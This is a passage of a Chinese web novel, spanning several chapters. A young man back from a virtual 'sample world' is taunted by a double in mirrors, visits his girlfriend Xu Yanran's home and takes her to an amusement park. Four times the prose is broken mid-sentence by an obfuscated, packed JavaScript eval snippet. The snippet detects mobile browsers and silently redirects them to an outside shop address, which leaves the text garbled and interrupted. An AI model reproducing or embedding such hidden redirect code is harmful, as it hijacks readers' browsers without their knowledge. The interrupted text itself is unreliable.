没什么时间了,鞋就这样吧。他看了一番架子上成排的球鞋和运动鞋,微微皱起了眉头。 那些一度让他极其着迷的运动系列风格的鞋子,不知为何,现在却突然都无法入眼。那在鞋面上各处大做文章的图样,现在看来好像都没什么意义了。 有钱有地位的人谁穿这个。 ……不对,他现在没钱也没地位。 蔚迟野瘪瘪嘴,视线回到全身镜上,看着镜子中的这个自己。 十八岁左右的脸,干净整洁的衣着。看似不经意的暗红纹路自下而上包裹着全身,就像是构成他生命的脉络一样。 勉勉强强。这是他最终的评价。 “已经尽力了。蔚迟野,你的审美也就这样吧。”他自讽地说道。 最后一步,再弄弄头发。 要找顶帽子吗?家里有没有耳饰来着…… 蔚迟野向自己的脑后抓去,习惯性地一拢,然而,手下却抓了个空。 他狐疑,回头往身后看去,下意识道:“我头发呢?” 背后空空荡荡的,一根发丝也没有。 “……嗯?”他还没有反应过来,于是朝镜子里的自己看去。 但是,在看到镜中人的时候,他愣住了。 那是一张二十多岁的脸,黑色的束尾长发,灰色的眼睛。男人抱着胸,正以一个冷淡的目光盯着自己,嘴笑上扬,笑容却是诡谲的。 他张口,甚至连声音都是那个人的音色。 “你哪有什么长发啊,蔚迟野。” 被叫到名字的人一惊,连连往后退去,一脚踩在了地上堆积的衣物中,被那些乱七八糟的布料绊倒,一屁股摔在了地上。 他晃了晃脑袋,再凝神,往镜子里看去,里面的人又变成了蔚迟野的模样,短发,黑眼睛,十八岁左右的样貌,一个规规矩矩的准大学生——如果他有学可上的话——除此以外没什么特别。 蔚迟野盯着镜子中的自己,脸色有些苍白。 那是什么?究竟是自己脑海里的幻觉,还是……? 突然,手机响起提示声,他回过神来,从地上爬起来,捡起床上的手机,盯着屏幕,看到了许嫣然的消息。 ——我做了些吃的,你好久没有吃过我做东西了吧? 糟了,几点了?他好像耽误太长时间了。 蔚迟野赶忙对着镜子简单整理了一番仪容,捞上手机,冲出了房间。 从楼梯下到了一层,跑出大门,在手机上叫了辆车。他可不想烦请那爱抽烟的司机,对方毕竟是父亲雇佣的人,蔚迟野要是上了他的车,动向就会一五一十被蔚统知道。这种事还是免了吧。 叫的车到了,他坐上副驾驶,指明了目的地,汽车载着他出发了。 一路上,蔚迟野看着外面的景色。现代化的城市,刻意栽培的绿化带,盯着这些,他总有种恍如隔世的感觉。 在那样一个冰天雪地的世界里待得太久,当下,看到绿植,不禁心情舒畅。 果然,世界还是得有点颜色。再怎么喜欢雪、喜欢冬天,总是看着那一望无尽的白色大地,也难免感觉厌倦。 蔚迟野的心情渐渐好了起来,不光是因为外面的景色,也是因为,马上,他就要见到许久未见的人了。 他渐渐回忆起来,曾经的自己似乎认为许嫣然身上有一种神奇的魔力。那些刻苦读书的日子里,蔚迟野只要见到了她,就会感到一种充实感。那是被需要的感觉,在这个庞大的世界上,有这么一个人需要他,这让他感觉十分不错。 他坐在副驾驶,把座椅靠背向后调整,慵懒地躺下去。 车子在颠簸,在温暖阳光的爱抚下,他渐渐闭上眼睛。 窗户开着,耳边是暖风吹过的声响,在这一片宜人的氛围中,他昏昏沉沉地睡了过去。 梦里,出现了一个女孩的身影。 她在窗户外面,追逐着跃动的带有翅膀的昆虫。 而自己的视线从窗户里面投望而去,凝望着那个小小的背影。 女孩捉住了那只昆虫,跑到窗户前面,拿给他看。蔚迟野看不清她的脸,只是有一种熟悉的感觉。那只可怜的昆虫被女孩贴在玻璃上,它挣动着几条腿,像是想要从柔嫩的手指下挣脱出来。 女孩在说着什么,但是蔚迟野听不见。她阳光似的笑容映入眼帘,玻璃上发出咚咚的声音,那是她在用指节敲击。 “我听不见……”他对外面的女孩说。 “咳咳。” 一阵咳嗽声唤起他的注意,蔚迟野往室内看去,一个教师模样的人站在台前,手里端着一本书,模样算不上严厉,仔细看还有些温和,“集中注意。” 蔚迟野将目光转回教室,但心不在焉。 窗户旁边依然站着那个女孩的身影,而敲击玻璃的声音还在响起。 教师在讲些什么,蔚迟野完全听不进去。他有种不知何起感觉,必须瞒着老师,和那女孩说些什么,或者,向她传递些什么,那就是他现在最为重要的使命。 蔚迟野伸出了一只手,掌心覆盖在玻璃上,微凉的刺痛传来,他没有挪开。余光里,女孩笑着,也把自己的手贴在玻璃上,欢欣雀跃地说着些什么。蔚迟野还是听不见,但是,一种奇怪的满足感在他的心底里升起。 女孩知道他的意思,他们心有灵犀。 一种命中注定的澎湃之感荡漾开来,顿时,他感觉内心的悸动十分强烈。 好像他终于能停下惴惴不安的搜寻,终于不用在大地上浪迹,终于找到了一个避风港,在这里,他的灵魂得以安息,生命已经圆满,再也不用像这个世界上那些苦苦搜寻的可怜人一样徘徊。 他已经抵达了完美的终极,那令他激动不已。 那覆盖在结霜玻璃上的手掌,似乎能够感受到对面传来的温热。 而就是在那样温暖的感觉中,蔚迟野缓缓地醒了过来。 一种还未消散的悸动仍然停留在他的身体里,那种他可以不必在凡世奔波的信号,还未从他的脑海里淡去。 只是,当他终于睁开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14273394|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了眼睛,看向窗外的景色,发现人工栽培的树木在飞速地往后退,外面没有雪,没有一个捕捉昆虫的女孩,而离他距离最近的人,只是一个沉默寡言的司机。 那奔?的雀跃在身体里冷却,他尽力回忆梦里的场景,试图抓住那种欣然情绪的尾巴。 窗外的那个人是谁?那个让他感觉到被选中了的人,让他感觉找到了归宿的人,让他心情平静、仿佛超脱于整个世界的人,是谁? 他尝试回想许嫣然的脸庞,将她们重叠在一起。只是,像有什么斥力一般,两个影子又蓦然分开了。 许嫣然没有那么好的体力,可以在寒冷的天气中蹦蹦跳跳。也没有胆量,去捉一只模样怪异的昆虫。 不过,那只是梦罢了。蔚迟野对自己说。 梦自然有它的局限性,所以会和现实产生一些小小的误差。 那个窗外的人,怎么想,都是曾与自己形影不离的许嫣然。 车辆又行驶了一阵子,最终到达了一个小区,在一条没有树木的街道上停了下来。 “到了。”司机侧过头来说。 蔚迟野下车后,一股难闻的味道钻入他的鼻翼。他往一旁看去,在道路旁边发现了一个垃圾站,大大小小的口袋堆在一起,蝇虫肆虐,看样子垃圾车今天还没有来过。 他捂住口鼻,往小区的深处走去。 这个小区十分的破旧,外围没有隔离的墙或围栏,更别说小区门卫。地面坑坑洼洼,像是经历过许多次雨水的冲刷,却未能得到过复原;破破烂烂的小轿车停在院子里,彼此之间各挡各的路,没有章法规矩,似乎也没有人来管理楼下的公共空间,只是任凭它继续败坏下去;每家每户的玻璃窗突兀地冲着外界,未经一点装修或点缀,仿佛只是为了开一扇窗而凿一面墙;时不时有野狗在阴暗的角落抬起头来,盯着每一个经过的路人。 蔚迟野凭借记忆来到了许嫣然的单元楼下,他抬头望去,只见家家户户的窗户外面都挂着几根晾衣线,那些错综复杂的线路交叉在头顶,让人分不清哪个属于谁家。 他走进了那栋楼里面。楼梯有些泛黑,那是人们长时间生活留下的痕迹。楼里没有电梯,而许嫣然家在四层,他只能一层层爬上去。 到了家门口,他再次理了理头发,敲了几下屋门,听见里面有人喊:“来了!” 脚步声逐渐走近。房门打开,露出头来的,是一个满脸笑容的中年女人,“迟野来了呀,快进来!” 女人是许嫣然的母亲,冯姨。她们母女俩住在一起,许嫣然的父亲在外地工作,经常不回来。 关于他们家里人的关系,蔚迟野略知一二。似乎当年夫妻二人是奉子成婚,许嫣然的父亲自从生下她后,就一直以赚钱的名义在外地奔波,只是偶尔回来,指点一下许嫣然的个人发展。 比如这次大学选校就有她父亲的参与。但也仅仅如此,她成长的大部分过程中没有他,他只出现在他认为重要的时间点。 蔚迟野从来没有问过许嫣然对她父亲的看法,每家都有每家的忧愁。 每个人都有伤疤,她有,自己也有。 256. 女友许嫣然3 关于家庭里的那些乱七八糟的事,不问也好。问了,也给不出解决办法,提供不了帮助,只是在一味地戳人痛处。 但好在许嫣然还有个照顾她的母亲,冯姨的热情足以让这个家温暖起来。 每次蔚迟野来的时候,中年女人总是一副亲切的模样。有些时候,他在自己家里待不下去了,就到许嫣然这里来。这虽然是个破旧小区中一个不大的房子,但却给了他家一样的感觉。 在冯姨的邀请下,蔚迟野从善如流,走进了房门。 玄关再往前,是一个拥挤的客厅,摆上一张饭桌后,就没有空间摆放其他的大件家具了。 客厅往右拐,便是狭窄得只容得下一个人的厨房,以及一个堆满了杂物的卫生间。客厅左手边则是两个看起来很温馨的起居室。虽然房子面积不是特别大,但对于她们母女二人来说也完全够用。 关门的声响起,声音从卧室里引出来了一个女人。 那正是许嫣然,她站在起居室的门前,靠着门框,一身朴素的居家服,身形欣长,没有任何妆容的脸上是令班上其他女孩嫉妒的姣好面容。 她看到了蔚迟野,向他招招手,音色轻柔甜美,“你来了。” “迟野,我家嫣然听说你要来,特意为你做了好多吃的东西,虽然也没什么名贵的菜品,但是她的手艺绝对一流。”冯姨帮他脱掉了外裳,挂在旁边的衣架上,然后匍匐在地,去一旁低矮的鞋架里找拖鞋。她将一双拖鞋拿出来,摆在蔚迟野的脚前。 蔚迟野有些不适应,在冯姨甚至要去帮他脱鞋时说道:“冯姨,我自己来就行。” 冯姨抬起头来,笑呵呵地道:“哟,怎么突然生分起来了。以前每次来,我不都是这样伺候着你?” 蔚迟野弯下腰去,接过了对方手中的活,“还是我来吧。” “孩子长大了,有自尊心了,是好事呀。”冯姨说完,起身去客厅里忙活了,“行,姨不烦你,你自己穿好鞋进来,看看桌子上有什么菜你爱吃。” 蔚迟野走到客厅的饭桌旁边,看到上面摆放着各式各样的菜品,有些还散着热气,想必是刚出锅不久。 他看着一旁站在门框旁的许嫣然,说道:“这些都是你做的?” 许嫣然依然贴在门框边上,笑容有些羸弱,“大部分是我,妈妈也帮了不少忙。” 冯姨回到了厨房,关上了门,里面传来模糊的声音,“我家嫣然的手艺啊,你就吃吧。吃了她做的饭,就被抓住了胃,可就是她的人咯。” 许嫣然的脸有些红,小声地反驳着,“妈妈,你说什么呢……” 蔚迟野看了眼桌子上那些菜,有许多都是他爱吃的。手撕柠檬鸡,拌凉黄瓜,尖椒皮蛋……基本都是些冷食。 来过许嫣然家里这么多次,已经是常客的,自己爱吃什么,不爱吃什么,已经被这俩母女研究了个透。每次都用一桌丰盛的菜肴招待他,菜都是新鲜的,摆盘都用了不少心思。以前不觉得,可现在蔚迟野认为,这比那些山珍海味要好上千倍万倍。 蔚迟野坐下来,看着门旁的许嫣然,说道:“你吃了吗?” 许嫣然摇摇头,“还没有。” 蔚迟野:“那过来吃呀。” 他开口询问,她这才行动。许嫣然来到桌子边上,身姿是那般柔弱无骨,只是拉开一把有些年头的木椅,都要用上两只手。蔚迟野生怕她不小心碰到哪里,赶忙搭了把手,帮她把椅子拽了出去。 许嫣然文静地坐在座位上,拿起自己面前的筷子,挑了些菜,往蔚迟野的碗里送。后者也不拒绝,欣然地接受她递来的食物。 “这些日子,你过得还好吗?”许嫣然问道,她连声音都那么轻,像是传不了多远就会消散在风里。 蔚迟野塞了一口米饭进嘴里,他总觉得很久没有吃过这么香的主食了,心里不禁连连赞叹,嘴上不忘回答许嫣然,“唔,还行。” “你……”许嫣然斟酌了半晌,说道,“你不难过了吗?” 蔚迟野眨眨眼睛,疑惑她为什么这么问。他回想了一番上次见她是在什么时候,而后,他记起来,那是在成绩公布的那天。 便是在那天,他得知自己的分数离上亚森学院还差了五十多分,而父亲又没有给他报名其他院校,他落榜了,无学可上。 成绩出来的时候,他被巨大的失望笼罩着,把自己关在家里,为自己几年无用的努力而郁郁寡欢。那时候,无论是谁来找他,他都不见。 “啊,那件事啊。”蔚迟野放下了筷子,把吃了一半的糖醋刀鱼放回碗里,米饭沾上汤汁,浸染了一块棕色的痕迹。 虽然他回忆起来了那时的场景,但是,那好像已经是距离现在很远的事情了,他早就不记得当时的感受,蔚迟野顿了顿,又开始吃他那条刀鱼,“没关系,已经过去了。父亲替我想了办法,我还是有机会上亚森学院的,结果很快就揭晓了。” 许嫣然愣了愣,模样不知为何闪过一丝失落,但很快振作了起来,说道:“那真是太好了,我还以为你要再复读一年呢。” “是啊,我也以为要再复读一年呢。”蔚迟野有些后怕的说,“那样的人间炼狱,我可不想在体验第二遍了。人为什么非要读那么多书不可?多去外面看看,多长长见识,了解了解这个世界是如何运转的,比泡在书本里死记硬背要强得多。” 许嫣然一笑,捂住自己的脸,一副羞怯的模样,“你什么时候也开始说这种话了,像个老先生似的。明明自己也没去过多少地方。” 蔚迟野梗着脖子,道:“我是……没去过多少地方,但道理还是懂的。” 他把一些话吞回了肚子。总不能说他在另一个世界其实已经踏过了万水千山,领略过了各式各样的风土人情,也琢磨清楚了人之本性。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14289957|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这种话说出来,谁也不信。 但是,既然话说到这里,就不得不提一句,样界里的东西还真是真实,那些人物的反应,文化的构成,社会的架构,即便放在现实世界之中,也没有冲突或者矛盾的地方。那里仿佛就是一个和现实有着不同起源的真实世界。 但显然,那不可能是一个真实世界。只能说,创造那个样界的方远韶当真有着过人的天赋。他的一刀刀鬼斧神工,制造了一个和现实世界的逻辑规则近乎完全一致的虚拟世界。 不过,也是,方远韶创造那个样界的目的,是研究人类在低温环境下基因变异的可能性,如果不够真实的话,其研究结果恐怕也不能复用到现实中来。 “想什么呢?”许嫣然举着筷子,盯着他的侧脸,问道。 兴许是自己沉思的模样过于明显,叫对方看了出来。蔚迟野临危不乱,他显然不能说出自己真实的想法,于是把话题引开,“我在想,你将来在另一所大学上学,我们之间隔着那么远的距离,我每天应该怎么去见你。” 许嫣然一愣,像是没有想到会是这个回答,有些腼腆地笑起来,“你有这份心意,我已经很知足了。” “我是认真的,我每天都会去见你。”蔚迟野说道,“四个小时往返,也没什么,反正大学的学业不像高中那么繁重,时间挤一挤,总是有的。” “你不睡觉了呀,天天凑出来四个小时,哪有那么多时间。” “我可以在车上睡觉。”蔚迟野想到了什么,说道,“没错,就这么办。前一阵子父亲去应酬,有人送了他一辆车,他不喜欢,就丢在仓库里。那车很宽敞,睡觉正合适,就让司机在前面开车,我在后面补觉。” 许嫣然笑着,没再继续推拒下去,也不知道她是否当真,“嗯……那好呀。” “假期就快要结束了,再有一个月,我们就都要去不同的学校报道了。”蔚迟野说道。 “是的。”许嫣然说,她只是简短地回复了这么一句,像有什么心事一般。低头往嘴里扒了两口饭,慢条斯理咀嚼了一阵,她又对蔚迟野说道,“迟野,我们出去找个地方玩玩吧。” 蔚迟野不知道为什么许嫣然突然这么说,或许可能只是他们太久没见了。说是太久,也不过将将一个多月罢了。 出去玩他当然不拒绝,反正柏汝恭那边说还有还几天才会传唤他,这两天也没什么其他要紧事。于是,几乎没怎么多想,他答应了下来,“好啊,玩什么?” “听你的。”许嫣然说道。 蔚迟野想了想,说:“我看同班同学都去游乐场聚会了,算作毕业分别的一聚。可那时候我还在……忙父亲交代给我的事情,没机会参加,还挺遗憾的。” “那我们就去游乐场。”许嫣然道,几乎没有任何犹豫,像是无论蔚迟野说什么,她都会答应一般,“等你吃完了我们就去。” 257. 女友许嫣然4 “你们要去游乐场呀。”厨房里传来冯姨的声音,“迟野,多帮我家女儿拍两张好看的照片呀。” 许嫣然却嘟起嘴,眉头也皱了起来,对自己的母亲说道:“妈妈,应该是我给迟野拍照。他错过了同学聚会,我们是去补救错失的回忆。” “好好,你们俩只要照顾好彼此,玩得开心,谁给谁拍都行。”冯姨在厨房里说。 一顿饭很快就吃完了,蔚迟野的肚子胀起了一个圆弧,走路都有些困难。 这不能怪他,他的确“太久”没有吃到过什么好东西了,加上许嫣然和冯姨的手艺实在不错,他根本控制不住自己的嘴。 饭后,他们打算休息一阵子,冯姨不知道还在厨房里忙些什么,蔚迟野就和许嫣然两人进了卧室,毕竟客厅太小,坐不下人。 许嫣然打开衣柜翻翻找找,各式各样花里胡哨的衣服裙子堆在床上,她好像很困扰,半天也挑不出一身喜欢的。 蔚迟野一开始躺在床上,刷刷手机等着消食,但后来有点想上厕所,就把手机丢在床上,跑进了卫生间里。 解决完了问题,身体和心情都十分舒畅。他在狭小的卫生间里转了个身,面向洗手盆,小心翼翼地弯腰,低下头去顺便洗个脸。 本来卫生间的空间就小,还挤着一个洗衣机,台面上摆满了零零散散的东西,洗漱用品,护肤品,还有洗衣液等等。 一堆东西全挤在一起,蔚迟野总觉得自己要是不小心碰到了什么,那一堆有着紧密结构的零散物品,肯定会稀里哗啦掉一地。 生存空间往往取决于一个家庭的富足程度,这么看,母女俩过的日子还是有些艰苦。 将来,他一定带着许嫣然离开这个地方。现在,因为他还没有按照父亲的意愿考上亚森学院,所以,他没什么资格向父亲索要些什么。即便想给许嫣然提供一些什么,也深感无力,财政大权都在父亲的手里,他没法随意调用。 而且,父亲肯定不会帮他。蔚统从小要求儿子一心学习,他要是知道了许嫣然的存在,非打断他的腿不可。 蔚迟野洗了把脸,心想,到时候进入了名校,他就不再会受到蔚统的约束了。就算父亲不提供任何帮助,也没关系。对,他不需要别人的钱,他会想办法自己赚钱,然后,让许嫣然过上更好的日子。 “哧。” 一声嗤笑传入蔚迟野的耳朵里,他洗脸的动作骤然停止。 水龙头里的水还在流,这一刻,整个卫生间里只有哗啦啦的声音。 但刚才的不是幻觉。 蔚迟野抬起自己的头来,看向那个沾满了水垢的镜子。 镜子里面的人看着他,黑色长发,灰色眼眸,目光戏谑。 “……你笑什么。”蔚迟野冷着脸,问他。 对方张口,声音熟悉,“笑你懦弱,不愿看清现实。” 蔚迟野脸色僵硬,眉毛越皱越紧。 这家伙在说什么? 水龙头里的水还在流,镜子里的人还没有消失。 越与对方对视,心里一种焦灼的感觉就愈发明显。扑通,扑通,连心跳声都是那么的恼人。 倏然间,蔚迟野捧了一汪水,猛地向镜子上泼去。 镜面顿时变得浑浊,而后,随着水流的滑落,又渐渐清澈了起来。 那个人消失了,镜子里映照出蔚迟野愤怒的脸。 他又胡乱冲了一把脸,拧紧了水龙头,金属发出摩擦的悲鸣。他用了十足的力道,仿佛在防止内心的什么东西溃堤一般。 他推开门,从卫生间走出去。冯姨在厨房里,许嫣然在卧室里,他所在的客厅很安静。便是在这静谧之中,蔚迟野听见了像是什么东西揉在一起发出的细碎的、破裂的声音。 他在客厅里站了一会,收拾好情绪,这才拖动脚步,向卧室走去。 卧室门半掩着,他推开它,进入屋内。只听许嫣然“呀”了一声,女孩背过了身去,洁白柔软的背冲着门口,一根肩带恰好从她的肩膀上滑落下去。 “呃,我……” “出去。”许嫣然红着脸,侧过头来,不敢看他似的,目光堪堪落在墙角,音色孱弱,似乎还能从中听出一丝颤抖。 蔚迟野退了出去,关上门,有点不知所措。突然想起来,去卫生间上厕所之前,许嫣然好像和他说过要换衣服,但是她没说什么时候换,也没说在哪换。 蔚迟野靠在门边上,斟酌了半晌,他朝着紧闭的门说道:“……好了之后叫我。” 许嫣然回复他的声音细若蚊咛,“……嗯。” 蔚迟野不由开始回忆两人的关系。上高中的时候,学业繁忙,于是他们便总是约在一起,一起吃饭,一起复习,一起钻研功课,除此之外,也没有做过别的什么,一是没有时间,二是两人都还青涩,没有往其他的方面想。 但是,如果只是朋友的话,他们不会偷偷摸摸两人出去,不会在有人想要加入他们一起复习功课的时候,不约而同地拒绝,不会在看到对方私密一面的时候,是这种反应。 如果他们单纯是朋友的话,许嫣然刚才会叫骂着,嬉闹着,说蔚迟野你占我便宜,然后把他踢出门外,像个异性的兄弟一样。但是,她没有这么做,所以他们不是。 蔚迟野便像是罚站一样,站在许嫣然的门口,听着里面窸窸窣窣的声音,他分析来分析去,感觉对方是在脱衣服,下一刻又觉得好像是在穿衣服,像是把什么东西捻进什么东西的里面,又像是把什么东西从什么东西里面抽出来。那些声音源源不断,尽管那么细小,却无法主导地钻进他的脑袋里。 门打开一条缝隙的时候,蔚迟野垂下了眼睛,偏过头去,不看她。 “好看吗?” 许嫣然的声音轻轻传来,蔚迟野这才移动自己的眼珠,落在从屋里出来的女孩身上。 她穿着一条带短袖的抹胸连衣裙,白皙的肩头露了出来,吝啬的衣料箍紧了她的胯,裙摆坠落到膝盖处,乍一看是大学女生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14300658|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们常穿的款式。不同的是,许嫣然身上的这条有一道上到跨部的开衩,开衩处用几根线连着,仿佛一拽就断。 她侧过自己的身体,像是有些羞赧一般,声音带上点嗔怪的意味,“怎么不说话,不好看吗?” 蔚迟野有些滞愣地盯着,一时没能说出什么话来。他现在想说的一定不是许嫣然想听的。因为太久没回到现实世界,在他眼中她这身装扮可以算得上是奇装异服,但他又不能真的把想法说出口。 许嫣然盯着她,眼中似乎有柔情的波光在闪动。她化了妆,睫毛比往日浓密,脸色也比平日里多了些红晕,“到底怎么样嘛?” 再不回答,怎么想对方都要生气了。于是蔚迟野连忙说:“……嗯,好看。” 听他这么说,女孩的脸好像更红了。 当下,有一个现实的问题划过他的脑海,他知道自己有点煞风景,但还是按捺不住问道:“可是,你穿成这样,方便玩游乐场里的设施吗?” 许嫣然一笑,似乎没有感到不快,也没觉得扫兴,说道:“那……不方便的时候,你就帮帮我。” 蔚迟野还不知道那是什么意思,在女孩示弱般的恳请面前,有些被动地回复道:“好。” “那咱们收拾收拾出发吧?”许嫣然说。 蔚迟野点点头,回卧室里去找自己的手机。 他记得去上卫生间之前自己把它随意扔在了床上。现在床上有一团没叠的被子和一堆乱七八糟的衣物,他只好爬到那上面去,大海捞针似的翻找。 但是找了半天,他没有找到。疑惑地四下观望,这才发现自己的手机居然躺在桌子上。他想,或许是许嫣然怕他找不到,才把它转移到了明显的地方。 他从床上蹭下来,去摸桌子上的手机,入手的感觉是温热的,像是前一个人体温依然残留在那上面,而且显然握了很久。 是许嫣然一直握着他的手机吗?她翻过它? 她的确是在房间里磨蹭了很久,或许翻看过,但也有可能只是换衣服的时间太长而已。 再者说,翻过又怎么样。蔚迟野在心里不屑地想道。他有些唾弃自己莫名其妙练就的推理能力。就算许嫣然看了,又能怎么样,他手机里什么也没有,相册里干干净净,没有奇奇怪怪的软件,也没有杂七杂八的游戏,只有无尽的学业资料。而且,他们以前也不是没有互换过手机。就是把机子拆了,让她细数有多少块零件,再把储存卡翻看个底朝天,都无所谓。 他把手机捡起来,不小心碰亮了屏幕。他又按熄屏键,让屏幕灭了下去。 熄灭黑色的显示屏上出现了一张模糊的脸,蔚迟野斜视着,只能看清一个隐隐绰绰的影子。 讥讽的话语传来,“你什么时候变成了这么不在乎隐私的人?” 蔚迟野把手机揣回口袋,啧了一声,模样厌烦,“烦死了。” 这时候,许嫣然探进一个头来,长发垂在空中,轻薄如翼,“你在说什么呢,迟野?” 258. 游乐场1 “不,没什么。”蔚迟野一副什么也没发生的样子,走了出去。 他们告别了冯姨,离开了家。在许嫣然的要求下,两人走进了路边的小卖部,她说游乐场里的东西太贵了,还是先备一些为好。蔚迟野不想让她背太重的东西,于是他们只买了几瓶水,都放进蔚迟野的背包里。 两人打了一辆车,目的地是城东的大型游乐场——幻海乐园。 他们坐在后座上交谈着,指尖若有若无触碰在一起。 窗外的景色闪过,许嫣然的笑脸盈盈,狭小的空间里,她的身体上散发出来好闻的香气。 几乎是一眨眼的功夫,游乐场就到了。他们下了车,眼前俨然是一条笔直的大道,道路上有很多行人。两边是卖着各种各样商品的商家,吸引着经过的游客们。 这是他们生活的城市中最出名的游乐场,和当下火热的《亚世界》系列电影联合,是个经过文化精密包装的娱乐场所。不管是喜欢刺激游乐项目的人,还是喜欢电影内容的人,又或者只是喜欢进来买一些玩偶的人,又或者是喜欢在一个异世界模样的城堡里照相的人,都能在这个偌大的游乐场里找到满足他们需求的方式。 通往游乐场大门的路修建得非常长,两边的商店琳琅满目,可见为了回收这些土地的成本,引入了不少商家进来。 他们走走停停,虽然两边都是市面上常见的品牌,但是,对于两个高中刚毕业的孩子来说,这些富丽堂皇、装修靓丽的店面很是新奇。两人在里面几乎转晕了眼,甚至连游乐场还没进去,就已经驻足好几回了。 “听说他们家的蛋糕特别好吃。”许嫣然说。 还是许嫣然:“那不是最近很火的杂玩店吗?冬冬的手链就是在那里买的。……我?我不要,我不是很感兴趣。” “这里的东西都太贵啦,不值得花那些钱。”依然是许嫣然,她盯着那些琳琅满目的商品,眼睛里是隐藏不住的期待,嘴上却在说着,“不用给我买,我买回去也没什么用。嗯……如果你非要给我买点什么的话,将来……我会跟你说我想要什么的。” 两人你一言我一语,终于经历了重重考验,来到了游乐场真正的大门口。 幻海乐园的标志性雕像——一个闭眼冥想的女性天使——便那么直直立在大门前面。已经有很多游客像蚂蚁一般被吸引过去,粘着它拍照。再往后,便是入园的通道,那里早已水泄不通,放眼望去,队伍像蛇一样盘桓,根本看不到哪里是个头。 “这样下去不知道要排到什么时候。”蔚迟野踮起脚尖,远远眺望看不到尽头的长队,“不如我们多花点钱,走旁边的贵宾通道吧。” 许嫣然的眉毛耷拉下来,像是有些不太赞成这个想法,“可是,贵宾票很贵。普通入园队伍虽然看着人多,但是检票很快,过一阵子就轮到我们了。” 蔚迟野说道:“没关系,不用管多贵,我来付钱。好不容易来一次,必须得玩得开心。” 许嫣然摇摇头,说道:“游乐场的门票都是你买的,我不能再让你花钱了。” 蔚迟野挺起胸脯,“没什么,反正最后都会记在我父亲的信用卡上。” 许嫣然盯着蔚迟野,眼里似乎有委屈的波光在闪动,“总是这样,叔叔会不会对我产生什么坏印象?” 蔚迟野眨了眨眼,没想到许嫣然竟然想到了这一层,这是已经开始考虑见家人的环节了? “怎么会呢。”他安慰说,觉得自己的声音有些干巴巴的,“这对他来说只是一点小钱。这张信用卡放在我这里,就是让我随便刷的,就算我们今天把这里的东西都买爆了,他也不会说些什么。” 其实,这就有点说大话了,日常的花销稍微多出来一点,蔚统不会过问些什么,但是,如果突然出现了大笔的支出,肯定免不了他的一番盘查。 “这样啊。”许嫣然说道,然而,她脸上却没有轻松的表情,反而生出一种落寞,看着令人怜惜,“那……迟野,如果你想买贵宾票的话,就买吧。的确,一直站在这里,你应该也很无聊吧,今天毕竟是为了给你弥补没能参加毕业聚会的遗憾,如果你想快点进去,那我就陪你早些进去。” 看着许嫣然那副柔弱的模样,蔚迟野断定不能让她在如此的烈日之下站得太久,太阳那么毒辣,她的皮肤又是那么白皙。薄薄一层汗从胸口渗出来,看上去就不太舒适。于是乎,蔚迟野毫不犹豫,毅然决然拿出手机,在上面操作起来,很快,两张价格不菲的票入了兜,他拉着许嫣然,在一众注目之下,昂首往贵宾通道的方向走去。 贵宾通道被绿茵遮盖,刚走进去,就有一股微凉的风吹过。不管是凉风还是别人羡慕的注视,都让人爽极了。 蔚迟野让许嫣然站在自己的前面,打开手机,给她看网上其他游客制定的游玩线路图,“想先玩什么?有一部分在室内,也有室外的,或者我们可以去看看演出,先去吃点东西也行。” 虽然他们即将入园,但是因为出发得晚,又在园外的商业街上流连了好一阵子,时间消磨了不少,现在已经是下午两点了。 许嫣然拨弄着蔚迟野手里的手机,纤细的指尖在屏幕上滑动,她微微向后靠,像是要栽倒在蔚迟野的怀里一般。蔚迟野后知后觉这个距离有多近,几乎是要把许嫣然搂在怀里,他举着手机,心思却有些乱。 他应该把空闲的右手覆在她看起来薄如蝉翼的肩膀上吗? 如果想要拉近关系的话,理应这么做。 那就这么做? …… 他犹豫了一下,却听到许嫣然开口说话,打断了他的思绪。 “我都行,看你吧。”许嫣然说道。 蔚迟野回过神来,也自然而然放弃了刚才的念头,他咳嗽一声,左手在屏幕上滑动着,“现在太阳太热,我们去玩些室内的项目吧。距离这里最近的是这个‘椰子树空间’,里面游乐项目好像还不少。” “好呀,那就这里。”许嫣然答应道。 两人经过贵宾通道,盯着地图上他们的所在地,往第一个目标地前进。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 